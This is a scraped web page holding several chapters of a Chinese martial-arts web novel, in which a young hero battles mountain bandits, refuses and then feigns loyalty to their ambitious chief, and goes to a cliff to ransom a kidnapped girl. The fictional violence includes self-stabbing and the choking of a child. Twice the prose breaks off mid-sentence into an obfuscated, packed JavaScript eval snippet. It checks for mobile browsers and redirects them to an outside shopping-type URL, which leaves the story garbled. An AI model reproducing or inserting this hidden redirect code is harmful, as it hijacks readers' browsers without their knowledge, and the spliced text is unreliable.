子车仪激动的抱拳半跪,面上尽是感激之色:“承蒙大哥厚爱,此等恩情难以为报,我愿从此跟随大哥左右,上刀山、下火海,鞍前马后,在所不辞。” 彭渊又哈笑两声,将子车仪扶起:“贤弟客气。” 子车仪看着一队又一队的人冲向巨岩,跟镖局众人扭打在一起,心中快意万分。 今天,就是吴阿狗的死期,他要让他知道,得罪他的人皆不会有好下场。 至于刚刚跟彭渊说的那些…… 他看着彭渊映在火光中闪烁着野心的狼光,面上是压制不住的兴奋战意,不由心下讥诮。 真是一个不折不扣的蠢货啊。 居然被人两三句话捧高,便觉得自己能君临天下么? 那两个造反的,哪个有好下场? 不是被清剿,就是盘踞一隅,只敢做一些游击偷袭的小打小闹。 区区一个‘山大王’,居然也敢肖想天下,入主中原。 不知是该佩服他的勇气,还是该嘲笑他的天真。 不过这些都不重要。彭渊若没有这样的痴心妄想,他又如何能复仇? 两侧的火把炙烤着,映照出子车仪扭曲的脸庞。 吴阿狗,准备好接受我的报复了吗? …… 又是一箭贯穿土匪,箭筒的箭矢彻底消耗完毕。 谢岁安从旁边抽出一把流星锤,一锤砸向爬上岩壁的土匪。 土匪的攻势越来越猛烈,敌我人数相差数倍,镖局众人逐渐陷入苦战。 谢岁安看着底下已退无可退的镖人,转头:“李大哥?” 李书一刀砍断一个土匪的脖子,鲜血四溅,他抹了一把脸:“撤退。” 说着,他食指和拇指相扣,置于纯中,吹了一个绵长的哨音—— 这是他们之前商定好的撤退信号。 果然,镖人听闻哨声,一个个出招更加狠戾,一旦抓住空隙,便不管不顾的向上攀去。 土匪见状,举着刀便追,却被岩顶射下的箭矢毙命。 “走!” 李书看着幸存爬上的三人,大喝一声,推着他们从绳索撤离。 待镖局众人下去,李书一刀砍断绳索,随即一个飞跃,足尖轻点石壁凸起,一路向下,块很快平稳降落。 镖人加上谢岁安一共还剩7个,7人分成2组,一组3人,一组4人,向相反的方向奔去。 土匪占领岩顶,在彭渊的指示下掏出登山锁向下攀爬,分成两股追人。 彭渊站在岩顶,看着那即将进入树林的两队,余光瞥向旁边的子车仪: “看来那位公子哥是提前跑了。” 否则,但凡带着几个不会武功的,这两队人都不可能跑这么快。 岩顶的寒风猎猎,吹起子车仪的下摆翻飞。 他盯着那四个背影隐入树林——其中一个身量比之旁人矮了一大截,正是谢岁安。 子车仪唇角扯出一抹阴森莫测的笑:“他们跑不了的。” …… 苏茴被陈子非牵着保护在中间,段长文在前面带路,陈林断后。 雨后的路面难行,时而泥泞,时而滑脚,加之苏茴和陈子非两个不懂武的,四个人行进的速度并不算快。 也不知走了多久,苏茴突然拉了一下身侧之人。 “子非哥哥,等等,先停一下。” 闻言,所有人都停下了脚步。 陈子非低头看她:“怎么了,是不是发现了什么?” 苏茴向段长文伸出双臂:“长文哥,麻烦你抱起我到树上看看。” 段长文俯身将人抱起,一个轻跃上了旁边的大树。 苏茴攥着段长文肩的衣肩,抬头望向道路远方。 “可是有什么不对?” 好一会,陈子非等的略微心焦,在下面问道。 苏茴未动,依然盯着远方。 道路尽头的高大草丛,窸窸窣窣的抖动着,完全不是风吹动的频率,更像是什么活物深藏其中。 半晌,一只长耳朵的生物从草丛跳出,它顿了一秒,跳着转身,又有几只从草丛跳出,最后跟它一起蹦跳着消失不见。 草丛重新恢复宁静。 苏茴这才松手,对上下的人露出一个笑:“是兔子。” 闻言,众人松了口气。 段长文抱着苏茴跳下树,却没有放下人,只看向陈子非:“公子,下面我来抱着小姐吧,我们加快一点速度,尽快到达月牙村,以免夜长梦多。” 陈子非对此赞同:“好。” 虽说苏茴是看着兔子跳出来的,但今晚着实惊险,众人都有些草木皆兵,路过那草丛时,每个人都绷着一根弦。 就在四人即将走出草丛路段的时刻,草丛梭然抖动起来,大型活物游走窜动的声音在两边的草丛响起。 段长文一惊,即刻放下苏茴,与陈林一前一后背对着将苏茴和陈子非护在中间。 两边草丛的动作很快,几息之间,两队头戴绿叶的人就从草丛钻出,两队一前一后并成一个圈,将四人团团围住。 段长文和陈林拿着刀,神色犀利,与包围他们的人无言对峙。 就在双方僵持的瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550969|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又一个人从草丛钻出。 来人看着不过二十出头,身材矮小精瘦,身高不到五尺,尖嘴猴腮的,漆黑的夜色下,看起来不像个人,倒像是山中成精的猴怪。 他滴溜溜的眼睛在四人身上转了一圈,嘻嘻的笑了两声,挥手下令:“把中间那两个捉回去,剩下两个敢反抗的话,杀了就杀了。” …… 谢岁安四人同样造到了伏击,只不过地点是在杉木林。 围堵他们的人武艺不算高,却是难缠,这么一耽搁,后面的土匪也追了上来。 眼见着人越来越多,李书眼色一沉,拿起大刀猎猎挥舞,在又劈死一个后,直接一把将谢岁安推出人群:“跑!” 随即提刀背身,弯腰横刀,挡下一众砍过的刀剑。 李书握着刀柄的手青筋暴起:“他们在此处都有埋伏,公子那边只会更多,去找公子,务必保证公子的安全!” 谢岁安抖了抖唇,脸上一片苍白。 他止了步子,没有离开。 李书和追上的匪徒过招数次,在又一次挡回砍向他的刀时,回头愤怒的看向谢岁安,嘶吼出声:“你还在犹豫什么?快跑!快跑!” 凄厉的声音像刀子刺入耳鼓。 谢岁安像是终于找回了自己的步子,提步转身,头也不回的离开。 子车仪赶到时,谢岁安已经消失不见,原本静谧的杉树林,刀光剑影不断,地上倒了一片的尸体。 四人的队伍,只剩下李书还在浴血奋战,梁文轩、段永福,已经永远倒在了血泊中,彻底没了呼吸。 子车仪顺手拉了一个土匪兵子:“那个小孩呢?” “从那个方向跑了,”土匪兵子指了指正前方,“他们一直拦着,我们追不过去。” 子车仪眯眼,冷冷的看着浴血奋战的子车仪。 他后撤一步,融入夜色,脚步轻缓像山猫,安静地靠近李书侧后方。 在李书又一次抵挡正面围攻时,他梭然提气上前,一棍将人砸晕。 眼见着人终于倒下去,匪徒们松一口气。 这真是他们从事土匪事业以来,碰到过最能打的敌人,即便他们如此多的人,却依然难以前进分毫,这地上躺着的尸体,近乎有一半是他的杰作。 “倒是个好汉。” 子车仪踢了脚李书,又指了两个人:“你们把他捆起来,带回去给大当家。其余的,跟我走。” 子车仪带队搜捕了一大圈,依然没发现谢岁安的踪影,就在他打算换个方向继续时,西方骤然响起两颗信号弹。 艳丽的火光炸开,四散后消失不见。 子车仪见状笑了起来:“看来大哥和袁弟成功了。” 他抬眼看了看天色,天际微微亮光,已是拂晓。 一晚上都在打斗追逐,土匪们此刻各个脸上困意显然,疲累至极。 谢岁安就像只滑不溜手的泥鳅,消失后半点踪迹不显,继续搜捕下去,大约也难以找到。 子车仪沉思片刻,点出八人。 “你们分成两组,在山内大声散布消息,告诉那个兔崽子,我们已经抓了那个公子跟小女孩,不想他们死,今晚之前来黑风寨。” 言毕,他领着剩下的人向西汇合。 就在子车仪离开的侧后方,一个几不可查的人影匿在杉木的密叶中,将他的话听的一清二楚。 谢岁安盯着子车仪带队走远,掌心的树皮倏然粉碎。 他漆黑的瞳眸里闪过冰凉的杀意。 子车仪…… 11. 黑风寨 丰西的天气一天一变,昨天还是大雨倾盆,寒风阵阵,今天却是艳阳高照。 谢岁安刚从里衣掏了块干粮,就见巡山的匪徒就又一次从旁边路过,振声大喊: “吴阿狗,那个公子和小孩已经被我们抓了,不想他们死,天黑之前来黑风寨!” 谢岁安拿饼的手一紧,一小块干粮就这么碎在指尖。 他扯出一个讥诮的弧度。 子车仪真是会给人出难题,黑风寨在哪儿他都不知道,怎么在天黑之前到? 不过其实这也不算什么问题。 毕竟子车仪这样散播消息,无非就是想逼他出来,只要他出现在这些匪徒面前,他们即刻就能押他回去。又或者他直接抓一个土匪,要挟他带他去黑风寨,也是一样。 只是……他真的要去吗? 谢家灭门之仇未报,他这条命如何能丢?去这样的土匪窝救人,是十死难生。 “小哥哥,你真厉害。”苏茴依赖崇拜的眼神。 “小小年纪,正是玩的时候,走,我带你们去买吃的。”陈子非犹如兄长般温暖的手。 这几个月相处的点点滴滴一下子全涌上心口,那样赤诚的温暖,说是第二个家也不为过。抛弃他们,何其忘恩负义,何其残忍。 一滴泪就这么毫无预兆的落下,滴在干裂的粮饼上,溅起饼渣滓在衣袍上。 经过一晚上的折腾,衣袍变得脏而破,但那断裂的金线,依然昭示这袍子不菲的价格。 ——就连这身衣服,都是子非哥买给他的。 他看那金线半晌,才将干粮一下全塞进嘴里,干噎的饼子,嚼了很久才勉强吞下。 …… 太阳西下,已是晡时。 彭渊打开传信,脸露诧异。 “怎么样大哥?找到人了吗?”子车仪在一旁见他神色变化,不由问道。 “没找到人,不过……有个巡山的兄弟不见了。”彭渊把纸条递给子车仪,含笑看他,“你说,人为什么突然不见了。” 子车仪快速扫了眼,也笑了起来,也不回答,只道:“那看来,贵客马上就要造访我们了,可是得好好迎接。” 他向彭渊抱拳作揖:“那大哥,我先带人去牢房埋伏蹲守。”说着,他转身便向牢房方向走出。 “贤弟,等等。” 彭渊却突然开口,子车仪疑惑回头:“大哥还有什么吩咐?” 日移西山,天际一片明亮,彭渊背光站在高大的主屋前,整个人都被阴影笼罩。 子车仪看不清他的神色,但能清晰的听到他的声音:“抛开仇恨,贤弟以为这个吴阿狗如何?” 一种不妙的预感涌上心头。 子车仪露出一个僵硬的笑:“大哥,你这是什么意思?” 彭渊也不卖关子:“我看此子,武艺高强,有勇有谋。小小年纪,便如此文武双全,真真是世上不可多得的苗子。” 袁不曲负责看管牢房,他从那些被俘的镖人嘴里知道,巨岩的地点是谢岁安发现的,也是他跟镖头合力部署的防线,当时彭渊就觉得那阵地选的妙,部署的更是妥当,即便他们多了那么多人,那群镖人也拦了他们将近小半个时辰。 还有那天吴阿狗出手对敌,开始只能看出能打,越到后面却是越发招招有序,不像野路子,倒像接受过正统学习的流派。 不知道这吴阿狗究竟是个什么来历,但观其招式与谋略,可谓是个将帅之才。 袁不曲与他感叹:“大哥,此等人物,如若不能纳入麾下,待其成长起来,会是劲敌。大哥既想入主中原,何不考虑将他收服?” “正如贤弟你所言,我有鸿鹄之志,既然我有天底下最大的志向,就该收拢天下的人才来辅佐,不是吗?”彭渊笑吟吟的看向子车仪。 子车仪沉默,安静的与之对视。 他从未觉得彭渊那黢黑、胡子拉碴下的脸这么的让人心梗。 他极力的压下怒火,半晌才道:“大哥自是值得天底下最忠心、最有才之人的辅佐,只是大哥,这个吴阿狗,有才不假,但你即便收服了他,又岂能放心用他?他跟你哪有忠心可言?” “我跟他早已是积怨甚深,昨天大哥你围堵截杀他们,也已是死仇,他们怎可能不怀恨在心?那吴阿狗在戏班子时就直接把小孩带走报官,他这样的人,跟我们岂是一路?又如何会心甘效忠于你?” “即便他是天纵奇才,一时妥协屈从,也是一柄指向我们自己的利剑,一旦发作,我等必将万劫不复!” 子车仪越说越激动,最后砰的一声跪下,脸上尽是担忧。 “大哥,莫要糊涂,万不可做此等引狼入室之行!” 彭渊却不以为然:“贤弟,我知晓你的担忧,但我们确实缺乏这样的人,这样的文武双全之人,别说丰西,便是放眼天下,也是寥寥。你放心,我自不会开始便全权信任于他,这样的刀柄,愿意全心全意在我手上,我自会让他刀锋必露,如有二心,折断,便是他唯一的下场!” 子车仪简直不敢相信自己听到了什么。 “大哥,人心隔肚皮,就这小小的黑风寨,弟兄们尚有千百种心眼,叛寨逃寨的事情也不是没有。那小子可不是什么省油的灯,把这样与我们有仇怨的人招揽进来,莫不是从此以后都把心提到嗓子眼过日子?” 早知他脑子不好,可为何竟还能蠢成这样? 把吴阿狗招揽到土匪窝,哈,他莫不是觉得自己命太长?前车之鉴的他就在眼前,彭渊究竟是被哪里的猪油糊了心智? 子车仪显然低估了敢肖想天下土匪的勇气。 彭渊眉头一皱,不悦看他:“你这是觉得我能力不行,管不好下面的人?” “不,我不是这个意思,大哥你御下有道,能力自不必说,否则黑风寨也不能安然这么多年。只是……” “既然我的能力不必说,你又在质疑什么?难道我还不能让区区黄毛小儿心口臣服?” 子车仪只觉得如鲠在喉,一时间一个字也吐不出。 “好啦,我知道你是好心,我不与你计较,这件事就这么定了。” 彭渊拍了拍他的肩,语气温和了一些:“我知道此事是我对不起你,本来答应为你报仇,却又出尔反尔。但自古成大事者,不拘小节,古有桓公放下恩怨,拜仇人为相,为君者尚能为大事放下仇恨,做臣子的听君之命,行君之令,更该以君王的意志为意志,你说,是也不是?” 去你的放下仇恨,你跟吴阿狗有屁的仇恨。 是你围杀人家,可不是人家围杀你! 子车仪只觉得浑身的血液都直冲太阳穴,他极力的忍耐,才不至于破口大骂。 他这位好大哥,自大自傲,固执非凡,一旦真的做出什么决定,便是十头牛也卡不回来。 他知道,这件事已经没得商量了。 子车仪闭了闭眼,片刻后,完全收敛情绪,朝彭渊露出一个笑。 “原是担心大哥识人不清,关心则乱,却忘了大哥心胸宽广,慧眼如炬,说了一些逆言,是我不好,大哥勿怪。”子车仪朝彭渊抱拳赔罪,“我既为大哥马首是瞻,必不会因个人恩怨坏了大事。大哥你不怒自威,文武兼备,必能收服这一猛将,仪,在此祝大哥马到功成。” 彭渊哈哈大笑起来:“我就知道贤弟你最懂我心。” “你放心,我既便任用那小子,也绝不会让他越到你之上。地牢你就不必去了,二弟在守着,吴阿狗过来就看到你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550970|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大约不会太高兴,还要委屈贤弟你先回自己的屋内待上一阵,待我说服他,再让你们二人相见。” “好,我都听大哥的。” 目送彭渊离去,子车仪脸上的笑再也维持不住,脸色瞬间黑沉下来。 他如蛇般阴戾的视线粘在那个背影上,像是狩伏猎物,随时会发起进攻,咬断猎物的脖子。 半晌,他咧开一个森冷的弧度。 大哥既然不愿意再帮他,大哥自然也不再是大哥。 他要吴阿狗死,就在今天。 …… “这些便是我的诚意,小兄弟何不考虑下?” 彭渊看着坐在桌对面的谢岁安,笑吟吟的道。 谢岁安眼眸微垂,心下诧异,没有立刻答话。 这事还要从半个时辰前说起。 他上午下决定之后劫持了一名巡山人员,要挟他带自己来黑风寨,就在他来到寨子,正愁怎么营救之时,彭渊忽地不知从哪里冒出来,但是却没有抓他,反而是客气的把他请到了客堂。 然后跟他说了很多,大概的意思便是,这个土匪头子并不安于只在威武山称王,而是想称霸天下,并认为他是一个可用之才,邀请他加入他的阵营。 游说之时,彭渊先是引经据典,说了很多原本有过节的人放下仇恨干出一番大事业的历史故事,然后向他展示自己的势力财力,以表他们造反成功的可能性,最后向他许下黑风寨三当家的位置,以及向他描绘了未来美好的宏图,表示只要只要他们入主中原,权势、地位、财富,一样不会少他。 言语之间,偶尔还提到陈子非他们,明里暗里一阵威胁。 总而言之,只要谢岁安答应留下,一切好说,彭渊愿意给钱、给权,愿意放了陈子非他们;但若是不应,他跟陈子非几人,就一起把头留在黑风寨。 谢岁安看着面前这个三十出头的男人,身高将近九尺,一身腱子肉遒劲健硕,充满了力量感,一看就是练家子。 他的脸与身材长的十分匹配,狂放粗豪的长相,皮肤黝黑,留了些不长不短的胡子,大概是因为经常杀人,粗眉下的眼像某种大型凶猛的食肉动物,盯着人看的时候让人有毛骨悚然的感觉。 他的言语,也和他这个人一样,每个字都听起来都如此的胆大,也如此的……妄想。 谢岁安握着杯子的手转了一圈,好一会儿,不答反问:“寨主以为,当如何做好一个君主?” 彭渊一愣,像是没料到他会问这个。他沉吟一会儿,才道:“百姓安居乐业,国家长治久安。” “安居乐业,长治久安。” 谢岁安低声重复了一句,原本有些轻视的心在听见这两个词的时候,倒是稍稍高看面前人一眼。 半晌,他看着彭渊笑了:“彭大当家落山为寇,打家劫舍,烧杀劫掠的事只怕没少干吧?土匪竟然也关心民生?” 不说远的,就在昨天,他还为了个拐卖儿童的人贩子,准备将他们一锅端。可见,他现在嘴上说的再好听,也是个没什么道德可言、心狠手辣的土匪。 听到这讽刺拉满的反问,彭渊也不生气。 “是,我是土匪,土匪会做的事我一件没少干,那是我的生存之道。你看这黑风寨满寨子的人,如果不去杀,不去抢,我们该怎么活下来?” “但你可知我为何会来当土匪?那是因为那朝廷的狗官抢我妻女,杀我老娘,我杀了那狗官,却被朝廷通缉,不得不落山为寇。 “没人会喜欢躲躲藏藏、刀口舔血的日子。烧杀劫掠,是因为我现阶段只能靠这样得到我想要的,而如果我坐上了天底下最高的位置,我又何须再放火杀人?我会给我的拥护者最好的东西,安居乐业,就是百姓最大的心愿。” 12. 大火 倒是一贯强说歪理。 谢岁安沉默片刻,随即笑了起来,再度与之对视。 “既然大当家都说的这么清楚了,想来我是没得选的。我可以留下,还望大当家遵守信用,放了公子一干人。” 彭渊一愣,倒是没想到这么就结束了,按照他原本的预测,该是还要拉扯几轮。 不过达到目的就好,他不是没看出眼前人的心不甘情不愿,但只要人留下,后面有的是时间磨合。 彭渊喜笑颜开,从内兜拿出一个小瓷瓶,推至谢岁安眼前。 在谢岁安不解的眼神里,他开口解释: “我知道小兄弟你是因为地牢那些人才愿意留在握着寨子里,我可以放了他们,但,你也得喝下这个。你放心,这个只是限制人内功的药,会让你虚弱一段时间,不会损伤你的身体。等你真正甘愿留下来,我自然会给你解药。” 谢岁安猛地抬头。 彭渊也在看他,含笑的眸子里是不容拒绝的冰冷。 二人僵持半晌,谢岁安伸手,一把抓起瓶子喝完,手一翻,瓶口便倒着向下——只有残留的水渍在瓶口汇成一滴要落不落的水珠。 “我已经喝完了,大当家可以放人了吧。” 彭渊哈哈大笑两声:“来人,将地牢的人带出来,将他们都放了。” 片刻,精瘦的像猴似的袁不曲便将人带了过来。 谢岁安再见陈子非一行,本想露出一个笑,才翘起的嘴角却蓦地僵住。 他猛然看向彭渊:“不对,少人了,还有个小女孩呢?” 彭渊抬眼看去,的确没有那个小女孩。他看袁不曲:“那个小丫头呢?” 袁不曲本笑嘻嘻的脸在听见谢岁安发出疑问时,便沉了下去。 他脸色难看的开口:“刚才子车仪来了地牢,说大哥你让他把那个丫头带出去,我以为是大哥你谈判需要,就把人给他了。” 彭渊一惊:“他现在人呢?” 袁不曲闭眼:“怕是已经带着人离开了寨子。” 死一样的寂静在空气中凝结。 “大当家,你答应过我要放了所有人的。”谢岁安冷冷地看向彭渊。 彭渊怒火中烧,沉声下令:“找,他刚提人不久,不会跑太远,你现在就带人去找。” “是!” 袁不曲心中也气急,好个子车仪,大哥待他不薄,居然挟人质逃跑,真是个狼心狗肺的东西。 见谢岁安的脸色难看至极,彭渊略有心虚地开口:“你放心,人我一定给你找到。” 只是是死是活就不知道了。 毕竟子车仪的心狠手辣、睚眦必报,在场的人都有目共睹。 谢岁安强敛下所有情绪,他看着那边在听见苏茴不见了便开始乱动乱叫的陈子非,淡淡开口:“有劳大当家找人,我会遵守约定留在这里,还望大当家现在就放了公子他们。” “什么,你要留下?”本来冲着挟押自己土匪龇牙咧嘴的陈子非,闻言猛然转头,尖叫起来,“不行!你不能留在这个鬼地方,小茴已经丢了,你再出事不是要我命吗?你跟我们一起走!” 此情此景轮不到陈子非说话,何况他还如此放肆。 彭渊不悦,正欲开口,却被谢岁安打断:“大哥,你让我先跟公子交流下。” 突然的称呼让彭渊一怔,他见谢岁安神色如常,终是点了点头。 得到命令的土匪很快放了陈子非。 谢岁安带着陈子非来到不远处的墙下,是彭渊能看到和听到的距离。 陈子非一把抓住了谢岁安的手腕:“你和李书他们走,我留下,他们留你一个小孩干什么?要钱也该是留我。”他自是不知谢岁安和彭渊交易了什么,只能猜彭渊突然改变心意是因为钱财。 谢岁安看着眼前人着急的模样不由笑了起来:“子非哥,你确实是天底下最好的哥哥,谁当你的弟弟妹妹都会很幸福。” “都什么时候了,还说这个?”陈子非又气又急。 “我走不了了,子非哥,彭渊不会放我走的。”谢岁安冲他摇摇头,掰开陈子非抓住自己的手,“子非哥,你和李大哥他们走,好好进京赶考,不用想着救我,我是自愿留下的。至于小茴,我会想办法救她。” “你这说的什么话,我怎么能丢下你们不管?” 谢岁安却只盯着他,不语。 陈子非愤怒地与之对视,看着看着,却败下阵来。一种巨大的悲哀如潮水涌上心头。 他一拳砸向墙面,鲜红的血就这么洇入墙体,扩散出点点猩红。 “真是百无一用是书生。” 谢岁安听见他低声绝望的自嘲,只笑了笑,后撤一步作揖:“是弟弟的不是,在这里给哥哥赔罪,这也许是我们此生最后一次相见,还望哥哥理解我的任性,满足我这最后的心愿。” 陈子非霎时红了眼,半晌才哑声吐出一字:“好。” “好了大哥,麻烦让公子他们离开吧。”谢岁安带着陈子非回来。 彭渊点头。 “你们几个,”他指出来一列人,“去,护送他们下山。” 谢岁安一愣:“倒也不用……” “哎,贤弟,这就是你的不是了,这山上的路难行又不好走,一旦行差踏错,遇到毒虫猛兽了怎么办?” 不容置喙的语气。 谢岁安虽然与这土匪头子昨天才‘认识’,对此人的行事风格却已有几分了解,于是他也没有再说什么,只笑着开口:“是我考虑不周,还是大哥考虑得当。”随即,他又看向李书,“李大哥,照顾好公子。” 李书复杂地看他,点头。 目送着陈子非一行离去,谢岁安的视线转到旁边之人:“大哥,我能跟着一起去找人吗?我保证不会跑的。” “贤弟说的什么话,你当然是不会跑的,只是你才喝下封功散,不如还是呆在寨子里,房间已经给你收拾好了。” “大哥…” “阿六,你带他下去。” “……” 谢岁安无奈,只得跟着那个叫阿六的土匪离开,只是走到一半的时候,他好像被什么吸引,突然停了下来。 “怎么了?”阿六也停了步伐,问道。 谢岁安捂肚子:“刚才茶水喝多了,有些憋不住,我想去那边解个手。”他指了指不远处的一棵大树。 阿六背过身去:“赶紧的。” 谢岁安在大树旁,一边作势解裤腰带,一边观察周围,眼见着没人,他眼疾手快的从树下一个石块下面挖出一个纸条: 【想要她活命,一个人来,从寨东门走。】 子车仪的字迹,还有子车百戏团特有的传递信息方式。 他将纸条收好,见依然没有人注意到这边,双指一并,直抠嗓子眼。 恶心的感觉从喉头冲向胃部,他忍不住干呕起来,今天本来也没吃多少东西,很快就吐了个干净。 他在旁边抓了把土掩盖,将手拍了拍,清理干净后才走出去。 阿六一路带他向北,最终将他安置在一间小房间里。 房间收拾的干净,床铺桌子一应俱全,门窗都落了锁,推不开,刚才他被带进来时,门外还有两个守门的。 谢岁安凝神感受了下丹田,虽然他刚才吐出来一部分,奈何喝下的时间长,那药水吸收的又快,丹田里依然聚集不起一丝内力。 封功散的时效大概能持续一月,一月之后才会慢慢恢复内功,若是小茴安全,他在这里呆着也无所谓,大不了慢慢周旋。 可是她被子车仪带走了。 谢岁安想起他刚才从树下挖出的消息,难道要把消息告诉彭渊,让他去找人? 不,不行,彭渊哪里会顾及苏茴的死活,而子车仪这个丧心病狂的东西,见不到他,指不定会真的杀人。 他沉思片刻,再度观察起这个房间。 大约是为了彰显招安的诚意,又或者笃定喝下封功散的他决计逃不出寨子,彭渊给他的房间虽然门窗上了锁,也派人看守,却实实在在就是个普通的房间,忽略自由的问题,倒也算舒适。 谢岁安摸了摸窗户,房间建造应该有些年头,只有凑近了才能闻到淡淡的杉木味。 从房间出去倒是不难,破窗,或者把门外的人骗进来再开溜,哪一样都成。 只是想从寨子出去就没那么容易了。 刚才被带过来时,他一路观察,寨内的人多,轮守的也严密,他现在没有内力,只剩下基本的功夫,虽然他 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不多时,人就回来了,他咧着嗓门嘲笑:“早说寨主没空搭理你,老实呆着吧,寨主想起来,自然会来见你的。” 谢岁安讶异,不说彭渊对他的招揽心思,事关子车仪,他怎么也该来听下才是。 “你没有告诉寨主是有关子车仪的事情吗?” 门外的看守愈发不耐:“寨主在见贵客,任何人不得靠近,我已经让人通传,至于寨主什么时候有空听,那我可不知道。” 贵客?这荒郊野岭的,天色也已向晚,哪来什么贵客? 昨日才大雨,山路泥泞难行,除了他们这批进京赶考的倒霉蛋,到底是什么样的大事,非挑这种时候上山? 何况他今天来的时候,彭渊那副架势,分明已经做好了跟他磨一天的准备。 谢岁安直觉这件事不太对。 他在房间踱步几个来回,最终将目光锁定在那扇紧闭的杉木窗上。 不管了,赌一把。 不管守卫有没有撒谎,起码有一点是真的,彭渊现在应当是有事绊住了手脚,一时半会抽不开身。 内力全无,对方人又多,无论彭渊出不出现,强闯出去都是一个下下之策。 但彭渊不来,他纵是想借这土匪的势,也是没有办法。 没有那么多时间再布局和等待时机了,小茴随时都会有生命危险。 在他决定来土匪窝救人时,就做好了命丧于此的准备。 谢岁安右手举起一张凳子,瞄准窗户,使出吃奶的力气砸了上去。 在他的全力一击下,窗户嘎巴一下脱落,半扇窗户就这么被砸了下来。 巨大的动静吓了守卫一跳,他们愣愣地看着掉在地上的窗户,一时半活儿竟忘了反应。 一个敏捷的身影从窗内跳出,站定在那扇落窗旁。 “你你你……”土匪被惊得话都说不利索。 谢岁安可没那个功夫等他们反应,说时迟那时快,他捞起地上的半个窗户,一个箭步冲出,一个猛砸猛踢,直接放倒一个。 而另外一个守卫在目瞪口呆的看完谢岁安的操作后,才终于反应过来,开始迎击。 两人交手数十招,守卫终究不敌,被谢岁安抓住了机会,一窗户扇倒在地,昏死过去。 谢岁安撑着窗户微微喘了几口,看向回廊有些疑惑。 他记得被带进来时,这个小院落虽然冷清,却也有一些人,怎么他跟守卫打了这么久,一个都没来? 谢岁安循着记忆,一路小心翼翼的向外走,沿路却依然没有再碰到一个人。 就在惊疑之际,他已经走出了院落,一抬头,映入眼帘的,是冲天的火光和直上云霄的浓烟。 那大火从黑风寨西侧一路向南扩延,隐隐有燎原之意,也就是这个小院落着实偏僻,风又是向南吹的,才连一点烟味都没有闻到。 “彭大哥,看来你还是不够了解你的子车兄弟啊。”谢岁安看着那蓬勃的火焰,眉眼一弯。 大约是彭渊答应了帮他报仇却又出尔反尔,子车仪着实愤怒,才有了这么一把大火。 真是一场狗咬狗的好戏,如若不是还有事,他倒是想留下来把这场戏看完。 可惜了。 13. 坠崖 因为这场大火,黑风寨内一片混乱,基本所有人都在忙着救火。 于是谢岁安就这么顺利的出了寨子,跟随着子车仪给的标记一路向西,最终在一处断崖停下。 标记到这里就消失了。 “啧啧,可算是来了,你再晚一点,我都想把这小贱人扔下悬崖摔死算了。” 身后响起一个低沉的男声,子车仪从一个树上跳下,手上还抓着五花大绑被堵了嘴的苏茴。 她看起来状态很不好,像只锤死的雏鸟悬在半空中,麻绳深深的勒进她细瘦的肩头,月白色的背袄皱成一团,光着一只脚,头发散乱,脸上还有几道红痕。 在看见谢岁安时,苏茴眼睛一亮,她忍不住挣扎了下,发出几声低低的呜咽。 谢岁安握紧了拳,转看子车仪:“说吧,你究竟怎样才肯放人?” 子车仪哈哈大笑起来,好一会儿,他才像是终于笑够了,阴恻恻地看向谢岁安:“其实我也不知道怎么样我才放人,毕竟我的戏班被你毁了,我又被追杀,我是真的很生气,不然你想想办法?我一开心,指不定就把人放了。” 悬崖的风总是大,而冬天的风更是冷冽,白天还算明媚的天气,晚上却急转直下到了另一个极端。 寒风阵阵呼啸,谢岁安甚至看到苏茴的脸又白了几分。 他掏出一把匕首,猛地扎入自己的左腿,血甚至还没来得及溢出,又猛地拔出扎入右腿,在子车仪怔住的眼神中直直跪下。 谢岁安叩了一首:“是我对不起班主,我在黑风寨就已经喝下封功散,内力全散,现在双腿也已被废,决计是跑不了的,班主想要报复尽管冲我来,只是还望放了小茴,她只是一个可怜的五岁稚童,从来没想过忤逆您,都是我带人逃跑的,圈是我的错。” 子车仪终于回神,他眼中闪过几分茫然,却又很快消失,随即转变成一种更加癫狂的笑。 “我就知道你在乎这个小贱人。”就是没想到在乎到这个程度。 之前他跟踪镖队的时候,就发现谢岁安在那一行人中,和陈子非、苏茴的关系最为要好,而且尤其关注苏茴。 他抓苏茴作人质,要挟谢岁安来这里,其实也只有七分把握。 不曾想,谢岁安来的比他想的还要快,而刚他自废双腿的举动,显然也是在子车仪的意料之外。 “哈哈哈,好啊,好啊,我可以放了她。”子车仪笑的眼泪都出来了,他把苏茴拎到眼前,“想活命吗?” 从谢岁安自残开始,苏茴就忍不住再度挣扎起来,只是她力气太小,在子车仪面前犹如蚍蜉撼树。 她看着谢岁安那不断流血的窟窿,眼泪再也控制不住地流下。 她愤恨地与子车仪对视。 坏人,疯子,大坏蛋! 真是连个小屁孩都敢挑衅他了啊。 子车仪翘着嘴角,眼中却没有丝毫笑意,只有愈显的疯狂占染。 他伸出另一只手掐住了苏茴的脖子,苏茴霎时陷入窒息,双腿止不住地乱蹬,小脸憋得涨红。 “告诉我,想活命吗?” “她的嘴还被封着,如何能回答您的问题?”看到苏茴的脸被掐的通红,谢岁安心下焦急,强忍下起身的冲动,开口提醒。 子车仪这才注意到苏茴嘴上的胶布,于是撕了,再度询问:“想活命吗?” 脖子和嘴巴终于解禁,苏茴猛喘气几口才终于稍稍缓过,她转头看跪在悬崖边的谢岁安,他也在看她,见她转头,便冲她微微摇了摇头。 